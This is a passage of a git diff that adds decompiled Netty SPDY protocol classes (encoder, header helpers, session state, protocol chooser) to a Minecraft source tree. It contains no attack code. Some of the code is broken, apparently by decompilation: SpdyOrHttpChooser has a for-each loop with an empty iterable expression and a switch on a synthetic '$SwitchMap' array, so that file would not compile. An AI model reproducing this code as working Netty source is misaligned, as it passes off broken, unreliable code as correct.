+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpObject;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.LastHttpContent;
+import java.util.List;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyHttpEncoder
+  extends MessageToMessageEncoder<HttpObject>
+{
+  private final int spdyVersion;
+  private int currentStreamId;
+  
+  public SpdyHttpEncoder(SpdyVersion version)
+  {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    spdyVersion = version.getVersion();
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, HttpObject msg, List<Object> out)
+    throws Exception
+  {
+    boolean valid = false;
+    boolean last = false;
+    
+    if ((msg instanceof HttpRequest))
+    {
+      HttpRequest httpRequest = (HttpRequest)msg;
+      SpdySynStreamFrame spdySynStreamFrame = createSynStreamFrame(httpRequest);
+      out.add(spdySynStreamFrame);
+      
+      last = spdySynStreamFrame.isLast();
+      valid = true;
+    }
+    if ((msg instanceof HttpResponse))
+    {
+      HttpResponse httpResponse = (HttpResponse)msg;
+      if (httpResponse.headers().contains("X-SPDY-Associated-To-Stream-ID")) {
+        SpdySynStreamFrame spdySynStreamFrame = createSynStreamFrame(httpResponse);
+        last = spdySynStreamFrame.isLast();
+        out.add(spdySynStreamFrame);
+      } else {
+        SpdySynReplyFrame spdySynReplyFrame = createSynReplyFrame(httpResponse);
+        last = spdySynReplyFrame.isLast();
+        out.add(spdySynReplyFrame);
+      }
+      
+      valid = true;
+    }
+    if (((msg instanceof HttpContent)) && (!last))
+    {
+      HttpContent chunk = (HttpContent)msg;
+      
+      chunk.content().retain();
+      SpdyDataFrame spdyDataFrame = new DefaultSpdyDataFrame(currentStreamId, chunk.content());
+      spdyDataFrame.setLast(chunk instanceof LastHttpContent);
+      if ((chunk instanceof LastHttpContent)) {
+        LastHttpContent trailer = (LastHttpContent)chunk;
+        HttpHeaders trailers = trailer.trailingHeaders();
+        if (trailers.isEmpty()) {
+          out.add(spdyDataFrame);
+        }
+        else {
+          SpdyHeadersFrame spdyHeadersFrame = new DefaultSpdyHeadersFrame(currentStreamId);
+          for (Map.Entry<String, String> entry : trailers) {
+            spdyHeadersFrame.headers().add((String)entry.getKey(), entry.getValue());
+          }
+          
+
+          out.add(spdyHeadersFrame);
+          out.add(spdyDataFrame);
+        }
+      } else {
+        out.add(spdyDataFrame);
+      }
+      
+      valid = true;
+    }
+    
+    if (!valid) {
+      throw new UnsupportedMessageTypeException(msg, new Class[0]);
+    }
+  }
+  
+  private SpdySynStreamFrame createSynStreamFrame(HttpMessage httpMessage)
+    throws Exception
+  {
+    int streamID = SpdyHttpHeaders.getStreamId(httpMessage);
+    int associatedToStreamId = SpdyHttpHeaders.getAssociatedToStreamId(httpMessage);
+    byte priority = SpdyHttpHeaders.getPriority(httpMessage);
+    String URL = SpdyHttpHeaders.getUrl(httpMessage);
+    String scheme = SpdyHttpHeaders.getScheme(httpMessage);
+    SpdyHttpHeaders.removeStreamId(httpMessage);
+    SpdyHttpHeaders.removeAssociatedToStreamId(httpMessage);
+    SpdyHttpHeaders.removePriority(httpMessage);
+    SpdyHttpHeaders.removeUrl(httpMessage);
+    SpdyHttpHeaders.removeScheme(httpMessage);
+    
+
+
+    httpMessage.headers().remove("Connection");
+    httpMessage.headers().remove("Keep-Alive");
+    httpMessage.headers().remove("Proxy-Connection");
+    httpMessage.headers().remove("Transfer-Encoding");
+    
+    SpdySynStreamFrame spdySynStreamFrame = new DefaultSpdySynStreamFrame(streamID, associatedToStreamId, priority);
+    
+
+
+    if ((httpMessage instanceof FullHttpRequest)) {
+      HttpRequest httpRequest = (HttpRequest)httpMessage;
+      SpdyHeaders.setMethod(spdyVersion, spdySynStreamFrame, httpRequest.getMethod());
+      SpdyHeaders.setUrl(spdyVersion, spdySynStreamFrame, httpRequest.getUri());
+      SpdyHeaders.setVersion(spdyVersion, spdySynStreamFrame, httpMessage.getProtocolVersion());
+    }
+    if ((httpMessage instanceof HttpResponse)) {
+      HttpResponse httpResponse = (HttpResponse)httpMessage;
+      SpdyHeaders.setStatus(spdyVersion, spdySynStreamFrame, httpResponse.getStatus());
+      SpdyHeaders.setUrl(spdyVersion, spdySynStreamFrame, URL);
+      SpdyHeaders.setVersion(spdyVersion, spdySynStreamFrame, httpMessage.getProtocolVersion());
+      spdySynStreamFrame.setUnidirectional(true);
+    }
+    
+
+    if (spdyVersion >= 3) {
+      String host = HttpHeaders.getHost(httpMessage);
+      httpMessage.headers().remove("Host");
+      SpdyHeaders.setHost(spdySynStreamFrame, host);
+    }
+    
+
+    if (scheme == null) {
+      scheme = "https";
+    }
+    SpdyHeaders.setScheme(spdyVersion, spdySynStreamFrame, scheme);
+    
+
+    for (Map.Entry<String, String> entry : httpMessage.headers()) {
+      spdySynStreamFrame.headers().add((String)entry.getKey(), entry.getValue());
+    }
+    currentStreamId = spdySynStreamFrame.streamId();
+    spdySynStreamFrame.setLast(isLast(httpMessage));
+    
+    return spdySynStreamFrame;
+  }
+  
+  private SpdySynReplyFrame createSynReplyFrame(HttpResponse httpResponse)
+    throws Exception
+  {
+    int streamID = SpdyHttpHeaders.getStreamId(httpResponse);
+    SpdyHttpHeaders.removeStreamId(httpResponse);
+    
+
+
+    httpResponse.headers().remove("Connection");
+    httpResponse.headers().remove("Keep-Alive");
+    httpResponse.headers().remove("Proxy-Connection");
+    httpResponse.headers().remove("Transfer-Encoding");
+    
+    SpdySynReplyFrame spdySynReplyFrame = new DefaultSpdySynReplyFrame(streamID);
+    
+
+    SpdyHeaders.setStatus(spdyVersion, spdySynReplyFrame, httpResponse.getStatus());
+    SpdyHeaders.setVersion(spdyVersion, spdySynReplyFrame, httpResponse.getProtocolVersion());
+    
+
+    for (Map.Entry<String, String> entry : httpResponse.headers()) {
+      spdySynReplyFrame.headers().add((String)entry.getKey(), entry.getValue());
+    }
+    
+    currentStreamId = streamID;
+    spdySynReplyFrame.setLast(isLast(httpResponse));
+    
+    return spdySynReplyFrame;
+  }
+  
+
+
+
+
+
+  private static boolean isLast(HttpMessage httpMessage)
+  {
+    if ((httpMessage instanceof FullHttpMessage)) {
+      FullHttpMessage fullMessage = (FullHttpMessage)httpMessage;
+      if ((fullMessage.trailingHeaders().isEmpty()) && (!fullMessage.content().isReadable())) {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpHeaders.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpHeaders.java
new file mode 100644
index 0000000..1f13d06
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpHeaders.java
@@ -0,0 +1,179 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SpdyHttpHeaders
+{
+  private SpdyHttpHeaders() {}
+  
+  public static void removeStreamId(HttpMessage message)
+  {
+    message.headers().remove("X-SPDY-Stream-ID");
+  }
+  
+
+
+  public static int getStreamId(HttpMessage message)
+  {
+    return HttpHeaders.getIntHeader(message, "X-SPDY-Stream-ID");
+  }
+  
+
+
+  public static void setStreamId(HttpMessage message, int streamId)
+  {
+    HttpHeaders.setIntHeader(message, "X-SPDY-Stream-ID", streamId);
+  }
+  
+
+
+  public static void removeAssociatedToStreamId(HttpMessage message)
+  {
+    message.headers().remove("X-SPDY-Associated-To-Stream-ID");
+  }
+  
+
+
+
+
+
+  public static int getAssociatedToStreamId(HttpMessage message)
+  {
+    return HttpHeaders.getIntHeader(message, "X-SPDY-Associated-To-Stream-ID", 0);
+  }
+  
+
+
+  public static void setAssociatedToStreamId(HttpMessage message, int associatedToStreamId)
+  {
+    HttpHeaders.setIntHeader(message, "X-SPDY-Associated-To-Stream-ID", associatedToStreamId);
+  }
+  
+
+
+  public static void removePriority(HttpMessage message)
+  {
+    message.headers().remove("X-SPDY-Priority");
+  }
+  
+
+
+
+
+
+  public static byte getPriority(HttpMessage message)
+  {
+    return (byte)HttpHeaders.getIntHeader(message, "X-SPDY-Priority", 0);
+  }
+  
+
+
+  public static void setPriority(HttpMessage message, byte priority)
+  {
+    HttpHeaders.setIntHeader(message, "X-SPDY-Priority", priority);
+  }
+  
+
+
+  public static void removeUrl(HttpMessage message)
+  {
+    message.headers().remove("X-SPDY-URL");
+  }
+  
+
+
+  public static String getUrl(HttpMessage message)
+  {
+    return message.headers().get("X-SPDY-URL");
+  }
+  
+
+
+  public static void setUrl(HttpMessage message, String url)
+  {
+    message.headers().set("X-SPDY-URL", url);
+  }
+  
+
+
+  public static void removeScheme(HttpMessage message)
+  {
+    message.headers().remove("X-SPDY-Scheme");
+  }
+  
+
+
+  public static String getScheme(HttpMessage message)
+  {
+    return message.headers().get("X-SPDY-Scheme");
+  }
+  
+
+
+  public static void setScheme(HttpMessage message, String scheme)
+  {
+    message.headers().set("X-SPDY-Scheme", scheme);
+  }
+  
+  public static final class Names
+  {
+    public static final String STREAM_ID = "X-SPDY-Stream-ID";
+    public static final String ASSOCIATED_TO_STREAM_ID = "X-SPDY-Associated-To-Stream-ID";
+    public static final String PRIORITY = "X-SPDY-Priority";
+    public static final String URL = "X-SPDY-URL";
+    public static final String SCHEME = "X-SPDY-Scheme";
+    
+    private Names() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpResponseStreamIdHandler.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpResponseStreamIdHandler.java
new file mode 100644
index 0000000..1e60900
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpResponseStreamIdHandler.java
@@ -0,0 +1,67 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageCodec;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.util.ReferenceCountUtil;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyHttpResponseStreamIdHandler
+  extends MessageToMessageCodec<Object, HttpMessage>
+{
+  private static final Integer NO_ID = Integer.valueOf(-1);
+  private final Queue<Integer> ids = new LinkedList();
+  
+  public SpdyHttpResponseStreamIdHandler() {}
+  
+  public boolean acceptInboundMessage(Object msg) throws Exception { return ((msg instanceof HttpMessage)) || ((msg instanceof SpdyRstStreamFrame)); }
+  
+  protected void encode(ChannelHandlerContext ctx, HttpMessage msg, List<Object> out)
+    throws Exception
+  {
+    Integer id = (Integer)ids.poll();
+    if ((id != null) && (id.intValue() != NO_ID.intValue()) && (!msg.headers().contains("X-SPDY-Stream-ID"))) {
+      SpdyHttpHeaders.setStreamId(msg, id.intValue());
+    }
+    
+    out.add(ReferenceCountUtil.retain(msg));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, Object msg, List<Object> out) throws Exception
+  {
+    if ((msg instanceof HttpMessage)) {
+      boolean contains = ((HttpMessage)msg).headers().contains("X-SPDY-Stream-ID");
+      if (!contains) {
+        ids.add(NO_ID);
+      } else {
+        ids.add(Integer.valueOf(SpdyHttpHeaders.getStreamId((HttpMessage)msg)));
+      }
+    } else if ((msg instanceof SpdyRstStreamFrame)) {
+      ids.remove(Integer.valueOf(((SpdyRstStreamFrame)msg).streamId()));
+    }
+    
+    out.add(ReferenceCountUtil.retain(msg));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyOrHttpChooser.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyOrHttpChooser.java
new file mode 100644
index 0000000..636b492
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyOrHttpChooser.java
@@ -0,0 +1,177 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandler;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.http.HttpObjectAggregator;
+import io.netty.handler.codec.http.HttpRequestDecoder;
+import io.netty.handler.codec.http.HttpResponseEncoder;
+import io.netty.handler.ssl.SslHandler;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLSession;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SpdyOrHttpChooser
+  extends ByteToMessageDecoder
+{
+  private final int maxSpdyContentLength;
+  private final int maxHttpContentLength;
+  
+  public static enum SelectedProtocol
+  {
+    SPDY_3_1("spdy/3.1"), 
+    HTTP_1_1("http/1.1"), 
+    HTTP_1_0("http/1.0"), 
+    UNKNOWN("Unknown");
+    
+    private final String name;
+    
+    private SelectedProtocol(String defaultName) {
+      name = defaultName;
+    }
+    
+    public String protocolName() {
+      return name;
+    }
+    
+
+
+
+
+
+
+    public static SelectedProtocol protocol(String name)
+    {
+      for (SelectedProtocol protocol : ) {
+        if (protocol.protocolName().equals(name)) {
+          return protocol;
+        }
+      }
+      return UNKNOWN;
+    }
+  }
+  
+
+
+  protected SpdyOrHttpChooser(int maxSpdyContentLength, int maxHttpContentLength)
+  {
+    this.maxSpdyContentLength = maxSpdyContentLength;
+    this.maxHttpContentLength = maxHttpContentLength;
+  }
+  
+
+
+
+
+  protected SelectedProtocol getProtocol(SSLEngine engine)
+  {
+    String[] protocol = StringUtil.split(engine.getSession().getProtocol(), ':');
+    if (protocol.length < 2)
+    {
+      return SelectedProtocol.HTTP_1_1;
+    }
+    SelectedProtocol selectedProtocol = SelectedProtocol.protocol(protocol[1]);
+    return selectedProtocol;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (initPipeline(ctx))
+    {
+
+
+
+      ctx.pipeline().remove(this);
+    }
+  }
+  
+
+  private boolean initPipeline(ChannelHandlerContext ctx)
+  {
+    SslHandler handler = (SslHandler)ctx.pipeline().get(SslHandler.class);
+    if (handler == null)
+    {
+      throw new IllegalStateException("SslHandler is needed for SPDY");
+    }
+    
+    SelectedProtocol protocol = getProtocol(handler.engine());
+    switch (1.$SwitchMap$io$netty$handler$codec$spdy$SpdyOrHttpChooser$SelectedProtocol[protocol.ordinal()])
+    {
+    case 1: 
+      return false;
+    case 2: 
+      addSpdyHandlers(ctx, SpdyVersion.SPDY_3_1);
+      break;
+    case 3: 
+    case 4: 
+      addHttpHandlers(ctx);
+      break;
+    default: 
+      throw new IllegalStateException("Unknown SelectedProtocol");
+    }
+    return true;
+  }
+  
+
+
+  protected void addSpdyHandlers(ChannelHandlerContext ctx, SpdyVersion version)
+  {
+    ChannelPipeline pipeline = ctx.pipeline();
+    pipeline.addLast("spdyFrameCodec", new SpdyFrameCodec(version));
+    pipeline.addLast("spdySessionHandler", new SpdySessionHandler(version, true));
+    pipeline.addLast("spdyHttpEncoder", new SpdyHttpEncoder(version));
+    pipeline.addLast("spdyHttpDecoder", new SpdyHttpDecoder(version, maxSpdyContentLength));
+    pipeline.addLast("spdyStreamIdHandler", new SpdyHttpResponseStreamIdHandler());
+    pipeline.addLast("httpRequestHandler", createHttpRequestHandlerForSpdy());
+  }
+  
+
+
+  protected void addHttpHandlers(ChannelHandlerContext ctx)
+  {
+    ChannelPipeline pipeline = ctx.pipeline();
+    pipeline.addLast("httpRequestDecoder", new HttpRequestDecoder());
+    pipeline.addLast("httpResponseEncoder", new HttpResponseEncoder());
+    pipeline.addLast("httpChunkAggregator", new HttpObjectAggregator(maxHttpContentLength));
+    pipeline.addLast("httpRequestHandler", createHttpRequestHandlerForHttp());
+  }
+  
+
+
+
+
+
+
+  protected abstract ChannelInboundHandler createHttpRequestHandlerForHttp();
+  
+
+
+
+
+
+  protected ChannelInboundHandler createHttpRequestHandlerForSpdy()
+  {
+    return createHttpRequestHandlerForHttp();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyPingFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyPingFrame.java
new file mode 100644
index 0000000..e55a13e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyPingFrame.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyPingFrame
+  extends SpdyFrame
+{
+  public abstract int id();
+  
+  public abstract SpdyPingFrame setId(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyProtocolException.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyProtocolException.java
new file mode 100644
index 0000000..4cbf707
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyProtocolException.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.spdy;
+
+
+
+
+
+
+
+
+public class SpdyProtocolException
+  extends Exception
+{
+  private static final long serialVersionUID = 7870000537743847264L;
+  
+
+
+
+
+
+
+  public SpdyProtocolException() {}
+  
+
+
+
+
+
+
+  public SpdyProtocolException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public SpdyProtocolException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public SpdyProtocolException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyRstStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyRstStreamFrame.java
new file mode 100644
index 0000000..cb00da3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyRstStreamFrame.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyRstStreamFrame
+  extends SpdyStreamFrame
+{
+  public abstract SpdyStreamStatus status();
+  
+  public abstract SpdyRstStreamFrame setStatus(SpdyStreamStatus paramSpdyStreamStatus);
+  
+  public abstract SpdyRstStreamFrame setStreamId(int paramInt);
+  
+  public abstract SpdyRstStreamFrame setLast(boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySession.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySession.java
new file mode 100644
index 0000000..b08287d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySession.java
@@ -0,0 +1,360 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.PlatformDependent;
+import java.io.Serializable;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.TreeMap;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SpdySession
+{
+  private final AtomicInteger activeLocalStreams = new AtomicInteger();
+  private final AtomicInteger activeRemoteStreams = new AtomicInteger();
+  private final Map<Integer, StreamState> activeStreams = PlatformDependent.newConcurrentHashMap();
+  private final StreamComparator streamComparator = new StreamComparator();
+  private final AtomicInteger sendWindowSize;
+  private final AtomicInteger receiveWindowSize;
+  
+  SpdySession(int sendWindowSize, int receiveWindowSize) {
+    this.sendWindowSize = new AtomicInteger(sendWindowSize);
+    this.receiveWindowSize = new AtomicInteger(receiveWindowSize);
+  }
+  
+  int numActiveStreams(boolean remote) {
+    if (remote) {
+      return activeRemoteStreams.get();
+    }
+    return activeLocalStreams.get();
+  }
+  
+  boolean noActiveStreams()
+  {
+    return activeStreams.isEmpty();
+  }
+  
+  boolean isActiveStream(int streamId) {
+    return activeStreams.containsKey(Integer.valueOf(streamId));
+  }
+  
+  Map<Integer, StreamState> activeStreams()
+  {
+    Map<Integer, StreamState> streams = new TreeMap(streamComparator);
+    streams.putAll(activeStreams);
+    return streams;
+  }
+  
+
+  void acceptStream(int streamId, byte priority, boolean remoteSideClosed, boolean localSideClosed, int sendWindowSize, int receiveWindowSize, boolean remote)
+  {
+    if ((!remoteSideClosed) || (!localSideClosed)) {
+      StreamState state = (StreamState)activeStreams.put(Integer.valueOf(streamId), new StreamState(priority, remoteSideClosed, localSideClosed, sendWindowSize, receiveWindowSize));
+      
+      if (state == null) {
+        if (remote) {
+          activeRemoteStreams.incrementAndGet();
+        } else {
+          activeLocalStreams.incrementAndGet();
+        }
+      }
+    }
+  }
+  
+  private StreamState removeActiveStream(int streamId, boolean remote) {
+    StreamState state = (StreamState)activeStreams.remove(Integer.valueOf(streamId));
+    if (state != null) {
+      if (remote) {
+        activeRemoteStreams.decrementAndGet();
+      } else {
+        activeLocalStreams.decrementAndGet();
+      }
+    }
+    return state;
+  }
+  
+  void removeStream(int streamId, Throwable cause, boolean remote) {
+    StreamState state = removeActiveStream(streamId, remote);
+    if (state != null) {
+      state.clearPendingWrites(cause);
+    }
+  }
+  
+  boolean isRemoteSideClosed(int streamId) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return (state == null) || (state.isRemoteSideClosed());
+  }
+  
+  void closeRemoteSide(int streamId, boolean remote) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    if (state != null) {
+      state.closeRemoteSide();
+      if (state.isLocalSideClosed()) {
+        removeActiveStream(streamId, remote);
+      }
+    }
+  }
+  
+  boolean isLocalSideClosed(int streamId) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return (state == null) || (state.isLocalSideClosed());
+  }
+  
+  void closeLocalSide(int streamId, boolean remote) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    if (state != null) {
+      state.closeLocalSide();
+      if (state.isRemoteSideClosed()) {
+        removeActiveStream(streamId, remote);
+      }
+    }
+  }
+  
+
+
+
+  boolean hasReceivedReply(int streamId)
+  {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return (state != null) && (state.hasReceivedReply());
+  }
+  
+  void receivedReply(int streamId) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    if (state != null) {
+      state.receivedReply();
+    }
+  }
+  
+  int getSendWindowSize(int streamId) {
+    if (streamId == 0) {
+      return sendWindowSize.get();
+    }
+    
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return state != null ? state.getSendWindowSize() : -1;
+  }
+  
+  int updateSendWindowSize(int streamId, int deltaWindowSize) {
+    if (streamId == 0) {
+      return sendWindowSize.addAndGet(deltaWindowSize);
+    }
+    
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return state != null ? state.updateSendWindowSize(deltaWindowSize) : -1;
+  }
+  
+  int updateReceiveWindowSize(int streamId, int deltaWindowSize) {
+    if (streamId == 0) {
+      return receiveWindowSize.addAndGet(deltaWindowSize);
+    }
+    
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    if (state == null) {
+      return -1;
+    }
+    if (deltaWindowSize > 0) {
+      state.setReceiveWindowSizeLowerBound(0);
+    }
+    return state.updateReceiveWindowSize(deltaWindowSize);
+  }
+  
+  int getReceiveWindowSizeLowerBound(int streamId) {
+    if (streamId == 0) {
+      return 0;
+    }
+    
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return state != null ? state.getReceiveWindowSizeLowerBound() : 0;
+  }
+  
+  void updateAllSendWindowSizes(int deltaWindowSize) {
+    for (StreamState state : activeStreams.values()) {
+      state.updateSendWindowSize(deltaWindowSize);
+    }
+  }
+  
+  void updateAllReceiveWindowSizes(int deltaWindowSize) {
+    for (StreamState state : activeStreams.values()) {
+      state.updateReceiveWindowSize(deltaWindowSize);
+      if (deltaWindowSize < 0) {
+        state.setReceiveWindowSizeLowerBound(deltaWindowSize);
+      }
+    }
+  }
+  
+  boolean putPendingWrite(int streamId, PendingWrite pendingWrite) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return (state != null) && (state.putPendingWrite(pendingWrite));
+  }
+  
+  PendingWrite getPendingWrite(int streamId) {
+    if (streamId == 0) {
+      for (Map.Entry<Integer, StreamState> e : activeStreams().entrySet()) {
+        StreamState state = (StreamState)e.getValue();
+        if (state.getSendWindowSize() > 0) {
+          PendingWrite pendingWrite = state.getPendingWrite();
+          if (pendingWrite != null) {
+            return pendingWrite;
+          }
+        }
+      }
+      return null;
+    }
+    
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return state != null ? state.getPendingWrite() : null;
+  }
+  
+  PendingWrite removePendingWrite(int streamId) {
+    StreamState state = (StreamState)activeStreams.get(Integer.valueOf(streamId));
+    return state != null ? state.removePendingWrite() : null;
+  }
+  
+  private static final class StreamState
+  {
+    private final byte priority;
+    private boolean remoteSideClosed;
+    private boolean localSideClosed;
+    private boolean receivedReply;
+    private final AtomicInteger sendWindowSize;
+    private final AtomicInteger receiveWindowSize;
+    private int receiveWindowSizeLowerBound;
+    private final Queue<SpdySession.PendingWrite> pendingWriteQueue = new ConcurrentLinkedQueue();
+    
+
+    StreamState(byte priority, boolean remoteSideClosed, boolean localSideClosed, int sendWindowSize, int receiveWindowSize)
+    {
+      this.priority = priority;
+      this.remoteSideClosed = remoteSideClosed;
+      this.localSideClosed = localSideClosed;
+      this.sendWindowSize = new AtomicInteger(sendWindowSize);
+      this.receiveWindowSize = new AtomicInteger(receiveWindowSize);
+    }
+    
+    byte getPriority() {
+      return priority;
+    }
+    
+    boolean isRemoteSideClosed() {
+      return remoteSideClosed;
+    }
+    
+    void closeRemoteSide() {
+      remoteSideClosed = true;
+    }
+    
+    boolean isLocalSideClosed() {
+      return localSideClosed;
+    }
+    
+    void closeLocalSide() {
+      localSideClosed = true;
+    }
+    
+    boolean hasReceivedReply() {
+      return receivedReply;
+    }
+    
+    void receivedReply() {
+      receivedReply = true;
+    }
+    
+    int getSendWindowSize() {
+      return sendWindowSize.get();
+    }
+    
+    int updateSendWindowSize(int deltaWindowSize) {
+      return sendWindowSize.addAndGet(deltaWindowSize);
+    }
+    
+    int updateReceiveWindowSize(int deltaWindowSize) {
+      return receiveWindowSize.addAndGet(deltaWindowSize);
+    }
+    
+    int getReceiveWindowSizeLowerBound() {
+      return receiveWindowSizeLowerBound;
+    }
+    
+    void setReceiveWindowSizeLowerBound(int receiveWindowSizeLowerBound) {
+      this.receiveWindowSizeLowerBound = receiveWindowSizeLowerBound;
+    }
+    
+    boolean putPendingWrite(SpdySession.PendingWrite msg) {
+      return pendingWriteQueue.offer(msg);
+    }
+    
+    SpdySession.PendingWrite getPendingWrite() {
+      return (SpdySession.PendingWrite)pendingWriteQueue.peek();
+    }
+    
+    SpdySession.PendingWrite removePendingWrite() {
+      return (SpdySession.PendingWrite)pendingWriteQueue.poll();
+    }
+    
+    void clearPendingWrites(Throwable cause) {
+      for (;;) {
+        SpdySession.PendingWrite pendingWrite = (SpdySession.PendingWrite)pendingWriteQueue.poll();
+        if (pendingWrite == null) {
+          break;
+        }
+        pendingWrite.fail(cause);
+      }
+    }
+  }
+  
+  private final class StreamComparator implements Comparator<Integer>, Serializable
+  {
+    private static final long serialVersionUID = 1161471649740544848L;
+    
+    StreamComparator() {}
+    
+    public int compare(Integer id1, Integer id2)
+    {
+      SpdySession.StreamState state1 = (SpdySession.StreamState)activeStreams.get(id1);
+      SpdySession.StreamState state2 = (SpdySession.StreamState)activeStreams.get(id2);
+      
+      int result = state1.getPriority() - state2.getPriority();
+      if (result != 0) {
+        return result;
+      }
+      
+      return id1.intValue() - id2.intValue();
+    }
+  }
+  
+  public static final class PendingWrite {
+    final SpdyDataFrame spdyDataFrame;
+    final ChannelPromise promise;
+    
+    PendingWrite(SpdyDataFrame spdyDataFrame, ChannelPromise promise) {
+      this.spdyDataFrame = spdyDataFrame;
+      this.promise = promise;
+    }
+    
+    void fail(Throwable cause) {
+      spdyDataFrame.release();
+      promise.setFailure(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySessionHandler.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySessionHandler.java
new file mode 100644
index 0000000..308e5ca
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySessionHandler.java
@@ -0,0 +1,861 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.EmptyArrays;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdySessionHandler
+  extends ChannelDuplexHandler
+{
+  private static final SpdyProtocolException PROTOCOL_EXCEPTION = new SpdyProtocolException();
+  private static final SpdyProtocolException STREAM_CLOSED = new SpdyProtocolException("Stream closed");
